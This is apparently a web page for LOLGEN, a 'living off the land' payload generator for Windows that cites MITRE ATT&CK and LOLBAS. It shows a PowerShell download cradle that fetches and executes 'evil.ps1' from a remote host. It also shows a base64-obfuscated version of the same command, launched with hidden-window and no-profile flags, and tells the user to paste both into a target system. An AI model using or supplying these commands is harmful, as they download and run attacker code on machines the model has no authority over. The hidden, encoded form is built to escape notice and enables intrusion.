LOLGEN: LIVING OFF THE LAND PAYLOAD GENERATOR

LOLGEN is inspired by MITRE ATT&CK and LOLBAS. The source code is HERE.

The first generated payload is a simple command, and the second is an obfuscated version of the first. Both are editable and can be executed on the target Windows system by coping and pasting.

using

If you run it on Commnad Prompt, call "powershell" before the command such as "powershell -nop -c "IEX((...".

                        
Run on PowerShell
iex((New-Object Net.WebClient).DownloadString("https://10.0.0.1/evil.ps1"))
Obfuscate with
                        
Run on PowerShell
powershell.exe -nop -noni -w hid -e aQBlAHgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADAALgAwAC4AMAAuADEALwBlAHYAaQBsAC4AcABzADEAIgApACkA

References

Copied!